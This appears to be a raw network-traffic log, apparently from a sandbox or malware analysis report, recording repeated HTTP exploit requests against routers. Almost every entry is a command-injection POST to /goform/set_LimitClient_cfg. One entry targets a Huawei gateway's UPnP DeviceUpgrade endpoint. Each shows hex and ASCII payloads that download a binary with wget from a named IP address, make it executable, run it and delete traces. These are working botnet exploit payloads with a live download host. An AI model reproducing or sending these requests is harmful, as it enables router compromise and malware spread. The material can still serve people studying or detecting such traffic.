Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 492Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 74 61 6a 6d 61 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 74 61 6a 6d 61 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
